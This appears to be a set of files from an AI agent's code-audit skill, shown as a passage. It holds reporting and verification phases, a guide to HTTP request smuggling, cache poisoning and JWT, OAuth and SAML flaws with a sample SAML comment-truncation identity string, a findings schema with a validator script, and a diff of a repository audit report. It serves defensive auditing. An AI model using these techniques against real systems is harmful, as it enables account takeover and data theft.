- "REJECTED: [explanation of what the finding got wrong, with code evidence]"
```
**Kill false positives aggressively, but don't kill real findings.** A short report with 3 real findings is worth more than a long report with 30 theoretical ones. An honest "nothing found" is valid — but push hard before reaching that conclusion.
### Phase 4: Report
Write the report to the output directory established in Setup.
**Output files:**
1. `REPORT.md` -- Main report with:
- One-paragraph executive summary (honest assessment of security posture)
- Identified baseline and how this application compares
- Findings table (severity, title, one-line description)
- Each finding with: file path, concrete attack scenario, impact, recommended fix
- Hardening notes section (defense-in-depth suggestions, NOT findings)
- Positive patterns section (what the codebase does well -- this calibrates trust in the audit)
2. `FINDINGS-DETAIL.md` -- For each finding rated MEDIUM or above:
- Complete data flow from input to sink with file:line references
- Exact HTTP request(s) to trigger
- What the attacker gets
- How the baseline comparable handles the same scenario
Keep it short. If the report is longer than the codebase deserves, you're padding.
### Phase 5: Structured output and schema check
For every finding that survived Phase 3 validation, produce a structured JSON object conforming to the schema defined in `report-schema.json` (in the same directory as this skill file — read it via the Read tool before writing output). Write the result to `<output-dir>/findings.json`.
The schema supports two verdict types via `oneOf`:
- **`confirmed`** — a validated vulnerability with full trace, execution, and remediation
- **`rejected`** — a finding that was investigated and determined to be factually incorrect
**Before writing `findings.json`:**
1. Read `report-schema.json` from this skill's directory. Follow it exactly — `additionalProperties: false` is enforced, so extra fields will make the output invalid.
2. For each finding, populate every required field. If you cannot fill `trace` with real file paths and line numbers verified against the source, the finding is not sufficiently verified — go back and verify it or reject it. Mind the required fields that aren't self-evident: `intended_behavior` (what the code is _supposed_ to do, so the defect is legible), `confidence` (`low`/`medium`/`high`, with a reason), and the `severity` object (`likelihood`/`impact`/`overall_severity`). All `severity` scores use the schema's **lowercase** enum — `informational`/`low`/`medium`/`high`/`critical`; the UPPERCASE tiers in SKILL.md and REPORT.md are prose labels, not valid JSON values.
3. Run `node <skill-dir>/validate-findings.cjs <output-dir>/findings.json` to validate. It checks required fields, enum values, structural constraints, and `additionalProperties`. This is a structural check only — it confirms the JSON conforms to the schema, not that the findings are correct. Factual verification is Phase 6's job. Fix any failures before proceeding.
### Phase 6: Independent verification
The structured output from Phase 5 forces self-validation, but the same agent that wrote the finding also wrote the JSON — it won't catch its own blind spots. This phase uses a fresh agent to independently verify every claim in `findings.json`.
Launch **one `research` agent per confirmed finding** via the Task tool, all in parallel. Each agent gets exactly one finding from `findings.json` and verifies it independently. Give each agent the JSON object for its finding and this prompt:
```
You are an independent verifier. You did NOT write this finding. Your job is to read the actual source code and verify that every factual claim is correct.
1. Read the file and line number cited in EVERY trace step. Verify:
- The file exists at that path
- The line number matches the described code
- The scope (function name) is correct
- The description accurately reflects what the code does
2. Verify the root_cause statement by reading the cited file and confirming the described defect exists.
3. Verify the execution payloads would actually work, in terms that fit the target:
- Does the entry point exist as claimed — the endpoint/URL, CLI command, exported function, syscall/ioctl, message handler, or tool the attacker invokes?
- Does the invocation match — HTTP method, argument shape, call signature, or message format?
- Would the input survive validation and parsing on the real code path?
- Would the relevant authentication, authorization, or ownership check pass as described?
4. Verify conditions are complete — are there prerequisites the finding missed?
5. Check the remediation code_changes — would the fix actually prevent the attack without breaking normal functionality?
6. Verify `intended_behavior` accurately states what the code should do, and that `confidence` matches the strength of the evidence — don't leave `high` on a claim you couldn't fully trace.
Return one of:
- "VERIFIED" — all claims checked out against the source
- "CORRECTED: [field]: [what was wrong] → [what it should be]" — factual error in a specific field
- "REJECTED: [reason]" — the finding is fundamentally wrong
```
Apply the agent's corrections:
- **VERIFIED** findings: no changes needed
- **CORRECTED** findings: update the specific fields in `findings.json`, re-run the schema validation script
- **REJECTED** findings: change their `verdict` to `"rejected"` with the agent's reason, or remove them entirely
After applying corrections, reconcile the prose deliverables: update `REPORT.md` and `FINDINGS-DETAIL.md` so they match the final `findings.json`. Remove or amend any finding the verification gate rejected or corrected — the human-readable report and the machine-readable output must not disagree.
This is the final quality gate. Do not skip it.
# HTTP-Protocol and Authentication Hunting
#### When to use this file
Reach for this file when the target speaks HTTP at a layer where parsing, caching, or identity decisions happen: reverse proxies, CDNs, API gateways, load balancers, custom HTTP servers and parsers, and any app that builds responses or URLs from request metadata — and whenever it implements or consumes an auth protocol (sessions, JWTs, OAuth/OIDC, SAML, or password-reset flows). These are the classes `ATTACK-CLASSES.md` treats only in passing: the injection class covers _content_, but not the request/response framing or the identity-token machinery, which have their own specific, high-hit-rate bug patterns.
Use alongside `ATTACK-CLASSES.md`. Access control there answers "is the check present and correct"; this file answers "can the attacker forge, replay, or confuse the identity the check runs on, or desync the request the check applies to."
Pick the relevant classes based on Phase 1; split per subsystem (framing/proxy layer, token verification, session store) for large targets. A pure single-server app behind a managed CDN has little smuggling surface; a custom proxy or a service that trusts `X-Forwarded-*` has a lot.
## Core discipline (include in every agent prompt for this domain)
```
- Framing bugs live in DISAGREEMENT, not in one parser. Request smuggling and cache poisoning exist because two components interpret the same bytes differently. Find the two components and the byte they disagree on; a single correct parser in isolation is not the finding.
- A signature you don't verify is decoration. For every token (JWT, SAML, cookie), find the exact line that verifies the signature AND the claims that apply to that token type (for JWT/OIDC: exp, aud, iss, nonce) — and that the algorithm is pinned server-side, not read from the token header. "It's signed" means nothing if nothing checks the signature with the right key and algorithm.
- Every use of Host, X-Forwarded-*, Forwarded, or a request-derived URL is a trust decision. Trace it to what it controls: a reset link, a cache key, a redirect, an access check.
- Reflected input in a security-relevant response field (Set-Cookie, Location, cache key, an absolute URL sent to a victim) — trace it to a cross-user impact (poisoned cache entry, redirect or token sent to a victim, cookie set in another context) even when it isn't classic XSS.
```
## HTTP request-framing attack classes (subagent_type: `general`)
**Request smuggling / desync**
A discrepancy in how two components (front proxy vs back-end, or HTTP/2 front vs HTTP/1.1 back) resolve message length. Classic forms: CL.TE, TE.CL, TE.TE (obfuscated `Transfer-Encoding`), and H2 downgrade (H2.CL / H2.TE) where an HTTP/2 front-end forwards to an HTTP/1.1 back-end and the injected `Content-Length`/`Transfer-Encoding` or CRLF in a header value survives. Audit angle: any component that parses HTTP messages itself, forwards requests, or normalizes headers. Look for lenient length handling (accepting both CL and TE, tolerating whitespace/casing/duplicates in `Transfer-Encoding`), and CRLF-in-header-value passthrough on the HTTP/2→1.1 hop. The prize is a request prefix that gets glued onto the _next_ user's request.
**Web cache poisoning (unkeyed input)**
An input influences the response but is not part of the cache key, so the attacker's response is stored and served to others. Find the cache key construction, then find every input that changes the response body/headers but is absent from that key — `X-Forwarded-Host`, `X-Forwarded-Scheme`, custom headers, cookies stripped from the key, or a query param the key normalizes away. Reflected unkeyed input that lands in the cached body (a poisoned script src, an `<base href>` from `X-Forwarded-Host`) is stored XSS against every cache consumer.
**Cache deception**
Path/extension confusion that makes a dynamic, per-user page get cached as if it were a static asset (`/account/profile.css`, `/api/me;.js`, path-parameter tricks). The back-end serves the user's private page; the cache stores it under a path the attacker can then request. Trace how the cache decides "is this cacheable" versus how the app routes the path — the gap is the bug.
**Host-header and forwarded-header trust**
`Host` / `X-Forwarded-Host` used to build absolute URLs, routing, or cache keys. The highest-impact sink is password-reset / verification link construction: attacker sets the header, the victim receives a link to the attacker's domain, clicks, and leaks the token. Also: authentication or routing decisions keyed on a spoofable forwarded header.
**CRLF / response header injection**
User input reflected into a response header (`Location`, `Set-Cookie`, custom headers) with unescaped CR/LF, letting the attacker inject headers or split the response. Trace user input into any header-setting call; confirm the framework doesn't already strip CR/LF (many do — verify first, see #5).
## Authentication-protocol attack classes (subagent_type: `general`)
First establish which role the target plays — it determines whose duty each control is. `redirect_uri` allowlisting, PKCE enforcement, authorization-code issuance, and assertion signing belong to the **authorization server / IdP**; a **relying-party client** legitimately sends its own `redirect_uri` and consumes tokens, so do not report "no `redirect_uri` allowlist" or "issues codes without PKCE" against a client. Token _verification_ defects (below) apply to whichever side validates the token.
**JWT verification defects**
The densest source of auth bypasses. Check, in the verification code:
- **`alg` confusion**`alg: none` accepted, or RS256→HS256 where the server verifies an attacker-forged HS256 token using the _public_ key as the HMAC secret. Find where the algorithm is chosen: is it taken from the token header (attacker-controlled) or pinned server-side?
- **Decode without verify** — code that reads claims from a decoded token but never calls the verify function, or ignores its return/exception.
- **Missing claim checks**`exp` (expiry), `nbf`, `aud` (audience — token for service A replayed at service B), `iss` (issuer). A signature check without claim checks is half a check.
- **Key-selection injection**`kid`, `jku`, or `x5u` header taken from the token: `kid` used in a file path (traversal) or SQL (injection) to fetch the key, or `jku` pointing at an attacker-hosted JWK Set / `x5u` at an attacker-hosted X.509 cert chain. Attacker names the key that verifies their own forgery.
- **Weak/shared secret** — HMAC secret that's a guessable string or shared across trust domains.
**OAuth / OIDC flow defects**
- **`redirect_uri` validation** — substring/prefix matching, open-redirect on an allowlisted host, or `redirect_uri` not bound to the client. Leaks the authorization code to the attacker.
- **Missing/weak `state`** — no CSRF token on the callback → login CSRF / forced-login / session fixation of the OAuth flow. (`state` is a session-binding/CSRF control; authorization-code injection is prevented by PKCE and the OIDC `nonce`, not by `state` — don't conflate them.) Confirm `state` is generated, bound to the session, and verified on return.
- **PKCE** — missing on public clients, or `code_verifier` not actually checked against `code_challenge`.
- **`id_token` validation** — audience, issuer, signature, and `nonce` all verified? A token minted for another client accepted here is account takeover.
- **Mix-up / IdP confusion** — multi-IdP flows where the response isn't bound to the IdP the request went to.
**SAML assertion defects**
- **Signature wrapping (XSW)** — a signed assertion plus an injected unsigned one; the verifier checks the signature on one element but reads identity from another. Find the gap between "what is signature-verified" and "what is read as the authenticated identity."
- **Signature exclusion** — unsigned assertions accepted, or signature verification skippable via a flag/empty-signature path.
- **XXE / DTD** in the XML parser processing assertions.
- **Comment truncation** — a comment inserted into the signed NameID (`admin@company.com<!---->.attacker.com`) that canonicalization strips before the signature check (so it still validates) but that truncates identity extraction to the pre-comment text (`admin@company.com`, the victim). Same root as XSW: the bytes the signature covers ≠ the bytes read as identity.
- **Missing replay / binding checks** — even with a valid signature, is the assertion bound and fresh? Check `NotBefore`/`NotOnOrAfter` (validity window), `Recipient`/`Audience` (assertion minted for _this_ SP, not replayed from another), `InResponseTo` (bound to a real outstanding request — blocks unsolicited-response injection), and one-time-use (a replayed assertion rejected). The signature checks above prove the assertion wasn't forged; these prove it wasn't stolen and replayed.
**Session-management defects**
- **Fixation** — session identifier not rotated on privilege change (login, step-up auth). Attacker fixes a known ID, victim authenticates into it.
- **Weak invalidation** — session/token still valid after logout, password change, or revocation; server-side state not cleared (especially stateless JWT sessions with no revocation list).
- **Predictable identifiers** (non-CSPRNG session IDs an attacker can guess/derive), or an overly broad cookie `Domain` that leaks the session cookie to an attacker-controlled sibling subdomain. (Bare "cookie could be shorter-lived" with no leakage path is a hardening note, not a finding.)
**Password-reset / account-recovery defects**
- Token not cryptographically bound to the user (reset A's token, use it on B), predictable/short token, no single-use or expiry, token leaked via `Host` header (see above) or `Referer`, or a race that mints multiple valid tokens. Recovery flows are frequently the weakest path to the strongest impact (account takeover).
## Universal moves (apply across the above)
- **Diff duplicated request paths side by side.** Where the code has more than one thing that parses or forwards HTTP (a middleware plus the framework, a normalizer plus the router, a legacy API version plus the current one), read them together and feed each the same ambiguous bytes on paper. Divergence is the smuggling/desync bug.
- **Walk the whole token lifecycle.** Issue → store → transmit → verify → refresh → revoke. The bugs live in the transitions the happy path skips: a session still valid after logout, a refresh that never re-checks revocation, a reset token that survives a password change.
- **Enumerate every door to the same identity.** SSO, password login, API key, password reset, impersonation — each is a parallel path that mints a session. The weakest one sets the account's real security; a hardened login means nothing if reset is trivial.
- **Audit the compat/fallback path.** A legacy endpoint version, a deprecated header, or a "for old clients" branch that skips a guard the main path added. Old auth code is where the reverted or forgotten check hides.
## Validation rules (apply before reporting ANY finding here)
1. **Source-visibility gate — this domain lives partly outside the repo.** Framing bugs (proxy chain), cache poisoning/deception (cache-key config), secret strength, and token entropy frequently depend on components, config, or values NOT in the audited tree. If confirming the bug requires a component/config/secret you cannot read, it is **unverifiable from source: flag it "requires deployment testing" and do NOT report it as a confirmed finding.** "Downgrade" is not enough — an unconfirmable HIGH reported as a MEDIUM is still a false positive.
2. **For framing/cache findings, name both components and the divergent parse.** "The Go net/http back-end accepts a bare-LF `Transfer-Encoding` that the front proxy treats as CL" — not "smuggling may be possible." A single server with no proxy in front has no smuggling surface. If you've confirmed only the in-repo half (the back-end genuinely mishandles a specific ambiguous input — bare-LF `Transfer-Encoding`, duplicate CL), record it as a lead with the exact bytes — "requires paired front-end testing" — a real observation, not a severity-rated finding.
3. **For token findings, cite the verification line and what it fails to check.** Point at the `verify`/`decode` call and the missing `alg` pin / `aud` check / signature step. A forged-token claim requires showing the server would accept the forgery, not just that JWTs are in use. Establish the client-vs-server role first — don't fault a client for controls the server owns.
4. **Prove the cross-user impact.** Show the payload reaching a victim's response (cache), request (smuggling), session (fixation), or inbox (reset link). Attacker-only effects are not findings: a `Host` header reflected into a self-referential link the victim never receives out-of-band is a hardening note; a `Host` header controlling a reset link emailed to the victim is a finding.
5. **Verify the framework AND the library default don't already handle it.** Many stacks strip CR/LF from headers, rotate sessions on login, and key caches on `Host` by default; JWT libraries increasingly reject `alg:none` and require an explicit algorithm list — check the library and version, and if you cannot determine the default, treat it as unverifiable rather than assuming it's vulnerable. Only report secret/RNG weakness when the code itself sets a hardcoded/short/derivable value or uses a non-CSPRNG. Confirm the specific defense is absent — do not report a gap the framework or library already closes.
6. **Return ONLY confirmed findings** with the divergent parse or the skipped verification step and the cross-user impact — or "No exploitable protocol/auth issues found" if that's honest.
{
"$comment": "Single source of truth for findings.json structure (see SKILL.md Phase 5). validate-findings.cjs reads this file directly and interprets it — there is no second copy of these rules to keep in sync.",
"output_schema": {
"oneOf": [
{
"type": "object",
"description": "Confirmed vulnerability — provide the complete, independently verified report.",
"properties": {
"verdict": {
"type": "string",
"const": "confirmed"
},
"title": {
"type": "string",
"description": "A concise, standard title for the vulnerability."
},
"description": {
"type": "string",
"description": "Comprehensive explanation of the vulnerability. Include any reproduction details (proof-of-concept input, configuration, observed output or crash) here."
},
"root_cause": {
"type": "string",
"description": "One sentence using the template: '[function_or_component] in [file] does not [missing action], allowing [consequence]'. MUST include the function/component name and file name where the defect exists."
},
"intended_behavior": {
"type": "string",
"description": "What was the developer trying to build? Explain the intended, non-vulnerable business logic."
},
"trace": {
"type": "array",
"minItems": 2,
"items": {
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": ["entrypoint", "propagation", "sink"]
},
"file": {
"type": "string",
"description": "Exact file path relative to repository root."
},
"line": {
"type": "integer"
},
"scope": {
"type": "string",
"description": "Bare function or method name. No parentheses, no arguments."
},
"description": {
"type": "string",
"description": "Factual description of the state change or data movement."
}
},
"required": ["kind", "file", "line", "scope", "description"],
"additionalProperties": false
},
"description": "Sequential code trace from entrypoint to sink, verified against actual source code. The first step must be kind 'entrypoint', the last must be kind 'sink', and any intermediate steps must be kind 'propagation' (enforced by the validator)."
},
"conditions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": [
"authentication_level",
"authorization_role",
"user_interaction",
"system_configuration",
"network_routing",
"environmental_dependency",
"data_state",
"timing_dependency",
"third_party_dependency"
]
},
"description": {
"type": "string"
}
},
"required": ["kind", "description"],
"additionalProperties": false
},
"description": "Factual prerequisites for exploitation. Empty array if exploitable by default."
},
"execution": {
"type": "object",
"properties": {
"attacker_perspective": {
"type": "string",
"description": "Who is the attacker and their starting point."
},
"payloads": {
"type": "array",
"items": {
"type": "string"
},
"description": "Specific malicious inputs, HTTP requests, or scripts."
},
"instructions": {
"type": "array",
"items": {
"type": "string"
},
"description": "Linear array of all attacker actions from setup through exploitation."
},
"expected_result": {
"type": "string",
"description": "Observable outcome confirming successful exploitation."
}
},
"required": [
"attacker_perspective",
"payloads",
"instructions",
"expected_result"
],
"additionalProperties": false
},
"remediation": {
"type": "object",
"properties": {
"strategy": {
"type": "string",
"description": "High-level explanation of the fix."
},
"code_changes": {
"type": "array",
"items": {
"type": "object",
"properties": {
"file_name": {
"type": "string"
},
"fixed_code": {
"type": "string"
}
},
"required": ["file_name", "fixed_code"],
"additionalProperties": false
}
}
},
"required": ["strategy"],
"additionalProperties": false
},
"severity": {
"type": "object",
"properties": {
"likelihood": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": [
"informational",
"low",
"medium",
"high",
"critical"
]
},
"reason": {
"type": "string"
}
},
"required": ["score", "reason"],
"additionalProperties": false
},
"impact": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": [
"informational",
"low",
"medium",
"high",
"critical"
]
},
"reason": {
"type": "string"
}
},
"required": ["score", "reason"],
"additionalProperties": false
},
"overall_severity": {
"type": "string",
"enum": ["informational", "low", "medium", "high", "critical"]
}
},
"required": ["likelihood", "impact", "overall_severity"],
"additionalProperties": false
},
"confidence": {
"type": "object",
"properties": {
"score": {
"type": "string",
"enum": ["low", "medium", "high"]
},
"reason": {
"type": "string",
"description": "Why you scored the confidence this way. Mention any missing files, complex routing, or ambiguous data flows."
}
},
"required": ["score", "reason"],
"additionalProperties": false
}
},
"required": [
"verdict",
"title",
"description",
"root_cause",
"intended_behavior",
"trace",
"conditions",
"execution",
"remediation",
"severity",
"confidence"
],
"additionalProperties": false
},
{
"type": "object",
"description": "Rejected finding — the described behavior is factually incorrect or the code path does not exist.",
"properties": {
"verdict": {
"type": "string",
"const": "rejected"
},
"reason": {
"type": "string",
"description": "Explain which specific claims in the finding are factually wrong (e.g., code path doesn't exist, mitigation prevents the described flow, trace is incorrect)."
}
},
"required": ["verdict", "reason"],
"additionalProperties": false
}
]
}
}
#!/usr/bin/env node
/**
* Validates findings.json against report-schema.json.
* Usage: node validate-findings.cjs <path-to-findings.json>
*
* The validation rules live in report-schema.json — the single source of truth.
* This script reads that schema at runtime and interprets the subset of JSON
* Schema it uses: type (object|array|string|integer), properties, required,
* additionalProperties:false, enum, const, items, minItems, and oneOf.
*
* Some constraints can't be expressed in that subset (a confirmed trace must
* start at an "entrypoint", end at a "sink", and only use "propagation" for
* intermediate steps). They're applied as an explicit, clearly-labelled
* semantic layer after schema validation.
*
* Zero dependencies. Exits 0 on success, 1 on validation failure.
*/
const fs = require("fs");
const path = require("path");
const file = process.argv[2];
if (!file) {
console.error("Usage: node validate-findings.cjs <path-to-findings.json>");
process.exit(1);
}
const schemaPath = path.join(__dirname, "report-schema.json");
let itemSchema;
try {
const doc = JSON.parse(fs.readFileSync(schemaPath, "utf8"));
itemSchema = doc.output_schema;
if (!itemSchema)
throw new Error('report-schema.json is missing top-level "output_schema"');
} catch (e) {
console.error(`Failed to load schema from ${schemaPath}:`, e.message);
process.exit(1);
}
let findings;
try {
findings = JSON.parse(fs.readFileSync(file, "utf8"));
} catch (e) {
console.error("Failed to parse JSON:", e.message);
process.exit(1);
}
if (!Array.isArray(findings)) {
console.error("findings.json must be an array");
process.exit(1);
}
// --- Generic JSON Schema interpreter (the subset used by report-schema.json) ---
function typeOf(v) {
if (Array.isArray(v)) return "array";
if (v === null) return "null";
return typeof v; // "object" | "string" | "number" | "boolean"
}
// For oneOf: find a property defined with a `const` so error messages can point
// at the intended branch (e.g. discriminate confirmed vs rejected by "verdict").
function findDiscriminator(schema) {
if (!schema.properties) return null;
for (const [key, sub] of Object.entries(schema.properties)) {
if (sub && Object.prototype.hasOwnProperty.call(sub, "const")) {
return { key, value: sub.const };
}
}
return null;
}
function validate(value, schema, p, errors) {
if (schema.oneOf) {
// Prefer the branch whose const discriminator matches, so the caller sees
// detailed errors for the branch they clearly intended.
for (const branch of schema.oneOf) {
const disc = findDiscriminator(branch);
if (
disc &&
value &&
typeof value === "object" &&
value[disc.key] === disc.value
) {
validate(value, branch, p, errors);
return;
}
}
// No discriminator matched. If every branch is discriminated by the same
// key, report the bad discriminator value clearly.
const discs = schema.oneOf.map(findDiscriminator).filter(Boolean);
if (
discs.length === schema.oneOf.length &&
value &&
typeof value === "object"
) {
const key = discs[0].key;
const allowed = discs.map((d) => JSON.stringify(d.value)).join(", ");
errors.push(
`${p}: "${key}" must be one of ${allowed}, got ${JSON.stringify(value[key])}`,
);
return;
}
const passing = schema.oneOf.filter(
(b) => collect(value, b, p).length === 0,
);
if (passing.length !== 1) {
errors.push(`${p}: does not match exactly one of the allowed schemas`);
}
return;
}
if (
Object.prototype.hasOwnProperty.call(schema, "const") &&
value !== schema.const
) {
errors.push(
`${p}: must equal ${JSON.stringify(schema.const)}, got ${JSON.stringify(value)}`,
);
}
if (schema.enum && !schema.enum.includes(value)) {
const allowed = schema.enum.map((v) => JSON.stringify(v)).join(", ");
errors.push(
`${p}: invalid value ${JSON.stringify(value)} (expected one of ${allowed})`,
);
}
switch (schema.type) {
case "object": {
if (typeOf(value) !== "object") {
errors.push(`${p}: expected object, got ${typeOf(value)}`);
return;
}
for (const req of schema.required || []) {
if (!(req in value))
errors.push(`${p}: missing required field "${req}"`);
}
for (const key of Object.keys(value)) {
if (schema.properties && key in schema.properties) {
validate(value[key], schema.properties[key], `${p}.${key}`, errors);
} else if (schema.additionalProperties === false) {
errors.push(`${p}: unexpected field "${key}"`);
}
}
break;
}
case "array": {
if (typeOf(value) !== "array") {
errors.push(`${p}: expected array, got ${typeOf(value)}`);
return;
}
if (
typeof schema.minItems === "number" &&
value.length < schema.minItems
) {
errors.push(
`${p}: must have at least ${schema.minItems} item(s), got ${value.length}`,
);
}
if (schema.items) {
value.forEach((el, i) =>
validate(el, schema.items, `${p}[${i}]`, errors),
);
}
break;
}
case "integer": {
if (typeOf(value) !== "number" || !Number.isInteger(value)) {
errors.push(`${p}: expected integer, got ${typeOf(value)}`);
}
break;
}
case "string": {
if (typeOf(value) !== "string") {
errors.push(`${p}: expected string, got ${typeOf(value)}`);
}
break;
}
default:
break; // no type constraint at this node
}
}
function collect(value, schema, p) {
const errors = [];
validate(value, schema, p, errors);
return errors;
}
// --- Run ----------------------------------------------------------------------
let errorCount = 0;
findings.forEach((f, i) => {
const label = `[${i}] ${(f && (f.title || f.reason)) || "(untitled)"}`;
console.log(`Checking ${label}`);
const errs = collect(f, itemSchema, `[${i}]`);
// Semantic layer — constraints the schema subset can't express:
// a confirmed trace must be one entrypoint, zero or more propagation steps,
// then one sink.
if (
f &&
f.verdict === "confirmed" &&
Array.isArray(f.trace) &&
f.trace.length > 0
) {
if (f.trace[0] && f.trace[0].kind !== "entrypoint") {
errs.push(
`[${i}].trace[0].kind must be "entrypoint", got ${JSON.stringify(f.trace[0].kind)}`,
);
}
const last = f.trace.length - 1;
if (f.trace[last] && f.trace[last].kind !== "sink") {
errs.push(
`[${i}].trace[${last}].kind must be "sink", got ${JSON.stringify(f.trace[last].kind)}`,
);
}
for (let j = 1; j < last; j++) {
if (f.trace[j] && f.trace[j].kind !== "propagation") {
errs.push(
`[${i}].trace[${j}].kind must be "propagation", got ${JSON.stringify(f.trace[j].kind)}`,
);
}
}
}
for (const msg of errs) console.error(" ERROR:", msg);
errorCount += errs.length;
});
console.log();
if (errorCount === 0) {
console.log(`PASS: ${findings.length} findings valid`);
} else {
console.error(
`FAIL: ${errorCount} error(s) across ${findings.length} findings`,
);
process.exit(1);
}
# Project Audit & Repair Report
**Date**: 2026-09-03
**Date**: 2026-09-05
**Repository**: `data-crawler-be`
**Status**: Clean & All P0/P1 Resolved
**Status**: Clean & All P0/P1 Resolved (Converged & Production-Ready)
---
......@@ -10,230 +10,242 @@
An autonomous, production-grade audit and remediation cycle was executed on the `data-crawler-be` repository following the 10-step protocol from the `full-project-audit` skill and the strict architectural requirements outlined in [`AGENTS.md`](file:///d:/NodeJS/DataCrawler/data-crawler-be/AGENTS.md).
All findings across authentication security, layered architecture boundaries, race conditions, N+1 queries, IDOR/ownership authorization, pagination bounds, zero-hardcode compliance, and response envelopes were triaged, verified against active code, repaired, and validated through the automated test suite.
All findings across authentication security, dynamic permission-based access control (RBAC), layered architecture boundaries, race conditions, N+1 queries, IDOR/ownership authorization, pagination bounds, zero-hardcode compliance, and response envelopes were triaged, verified against active code, repaired, and validated through the automated test suite. In this cycle, the response envelope of `CrawlScheduleController` was fully standardized, and route parameter edge validation (`validateParams`) was systematically attached across all resource routers to prevent malformed identifier traversal to the persistence layer.
### Key Validation Outcomes:
- **Typecheck (`pnpm build`)**: ✅ 0 errors (OpenAPI Swagger autogen clean)
- **Linter (`pnpm lint`)**: ✅ 0 errors, with strict ESLint `no-restricted-imports` rule active preventing non-repository `@prisma/client` imports
- **Automated Test Suite (`pnpm jest --runInBand`)**: ✅ **31/31 Test Suites Passed**, **349/349 Tests Passed** (100% Green)
- **Zero-Hardcode & Architecture Layering**: All enums outside repository now use domain constants from `src/common/constants/` with zero direct Prisma enum dependencies in services, validations, and controllers.
- **Typecheck & OpenAPI Swagger (`pnpm build`)**: ✅ **0 errors** (OpenAPI 3.0 auto-generated cleanly)
- **Linter (`pnpm lint`)**: ✅ **0 errors**, strict ESLint rules enforced with zero `@prisma/client` direct imports outside repository files
- **Code Formatting (`pnpm format`)**: ✅ **100% formatted with Prettier**
- **Automated Test Suite (`pnpm exec jest --runInBand`)**: ✅ **38/38 Test Suites Passed**, **414/414 Tests Passed (100% Green)**
- **Zero-Hardcode & Architecture Layering**: All enums outside repository use domain constants from `src/common/constants/` with zero direct Prisma enum dependencies in services, validations, and controllers.
- **Timezone Invariant (`Asia/Ho_Chi_Minh` UTC+7)**: Fully enforced for all scheduled calculations, daily quota boundaries, and startOfDay aggregations.
---
## Findings Backlog & Resolution Summary
| ID | Severity | Module | Summary of Issue | Verification | Resolution Status |
| ---------- | -------- | -------------- | ------------------------------------------------------------------------ | ------------ | ------------------------------ |
| **BUG-01** | 🔴 P0 | Auth | `forgotPassword` leaked `resetToken` & `userId` in service return object | CONFIRMED | **FIXED & TESTED** |
| **BUG-02** | 🔴 P0 | Architecture | Prisma enums/models imported directly outside repository layer | CONFIRMED | **FIXED & LINT-ENFORCED** |
| **BUG-03** | 🟠 P1 | CrawlSchedules | `limit`/`page` query params lacked upper bound validation (DoS risk) | CONFIRMED | **FIXED & BOUNDED** |
| **BUG-04** | 🟠 P1 | CrawlJobs | `updateStatus` TOCTOU race condition overriding `CANCELED` state | CONFIRMED | **FIXED (Atomic updateMany)** |
| **BUG-05** | 🟠 P1 | Worker | Sequential DB round-trips for sensitive data scanning during crawl | CONFIRMED | **OPTIMIZED** |
| **BUG-06** | 🟠 P1 | Worker | Duplicate `updateStatus(RUNNING)` call overwriting `startedAt` | CONFIRMED | **FIXED (Removed duplicate)** |
| **BUG-07** | 🟠 P1 | CrawlJobs | `scheduleId` lacked user ownership authorization check (IDOR risk) | CONFIRMED | **FIXED & TESTED** |
| **BUG-08** | 🟠 P1 | Auth | `authMiddleware` un-cached DB lookup per request | CONFIRMED | **DOCUMENTED (Redis cluster)** |
| **BUG-09** | 🟠 P1 | Webhooks | Hardcoded string literals in webhook validation schemas | CONFIRMED | **FIXED (Constant enums)** |
| **BUG-10** | 🟡 P2 | CrawlJobs | `getAssets` query parameters validated imperatively in controller | CONFIRMED | **FIXED (Zod Schema)** |
| **BUG-11** | 🟡 P2 | CrawlPages | Search on large text columns without trigram index | CONFIRMED | **MAINTAINED (jobId scoped)** |
| **BUG-12** | 🟡 P2 | CrawlSchedules | `superRefine` direct data mutation (Zod anti-pattern) | CONFIRMED | **FIXED (Clean validation)** |
| **BUG-13** | 🟡 P2 | Infrastructure | `express-rate-limit` in-memory store in multi-instance clusters | CONFIRMED | **DOCUMENTED (Redis store)** |
| **BUG-14** | 🟡 P2 | CrawlSchedules | `getScheduleHistory` tuple return format | CONFIRMED | **VERIFIED CLEAN** |
| **BUG-15** | 🟡 P2 | CrawlJobs | Missing `total` and `totalPages` in `getAssets` and `getLogs` meta | CONFIRMED | **FIXED & STANDARDIZED** |
| **BUG-16** | 🟡 P2 | Users | User quota fields without upper bound limits | CONFIRMED | **FIXED (Upper bounds added)** |
| **BUG-17** | 🟢 P3 | Users | Hardcoded string `"CRAWLER_USER"` in `user.repository.ts` | CONFIRMED | **FIXED (ROLES.CRAWLER_USER)** |
| **BUG-18** | 🟢 P3 | App | Morgan logger hardcoded to `"dev"` in production | CONFIRMED | **FIXED (Environment-aware)** |
| :----------- | :------- | :------------------- | :-------------------------------------------------------------------------------------------- | :----------- | :-------------------------------- |
| **BUG-01** | 🔴 P0 | App / Security | CORS origin reflection allowed wildcard with credentials | CONFIRMED | **FIXED & TESTED** |
| **BUG-02** | 🟠 P1 | Webhooks / Templates | Missing authorization guards on webhook and extraction template mutations | CONFIRMED | **FIXED & RBAC-PROTECTED** |
| **BUG-03** | 🟠 P1 | Auth / DB | Non-atomic default role assignment during user registration | CONFIRMED | **FIXED (Atomic Transaction)** |
| **BUG-04** | 🟠 P1 | Error Handling | Unhandled Prisma Known Request Errors (P2002, P2023, P2025, P2003) | CONFIRMED | **FIXED & STANDARDIZED** |
| **BUG-05** | 🟠 P1 | Users / Auth | Soft-delete and self-deactivation failed to cascade deactivate schedules, keys, and webhooks | CONFIRMED | **FIXED (Cascade Deactivation)** |
| **BUG-10** | 🟠 P1 | App / Security | Helmet Content Security Policy (CSP) disabled globally | CONFIRMED | **FIXED (Scaped via Branching)** |
| **BUG-06** | 🟠 P1 | Roles / Users | Role assignment performed N+1 database queries in a loop | CONFIRMED | **FIXED (findByIds Batch Query)** |
| **BUG-07** | 🟡 P2 | Health / Layering | Layer violation: `HealthService` directly executed `prisma.$queryRaw` | CONFIRMED | **FIXED (HealthRepository)** |
| **BUG-08** | 🟠 P1 | Dashboard | 11 sequential `count()` queries overloaded database CPU | CONFIRMED | **FIXED (groupBy Aggregations)** |
| **BUG-09** | 🟡 P2 | Database / Prisma | Missing `onDelete: Cascade` on CrawlAsset foreign key | CONFIRMED | **FIXED (Prisma Migration)** |
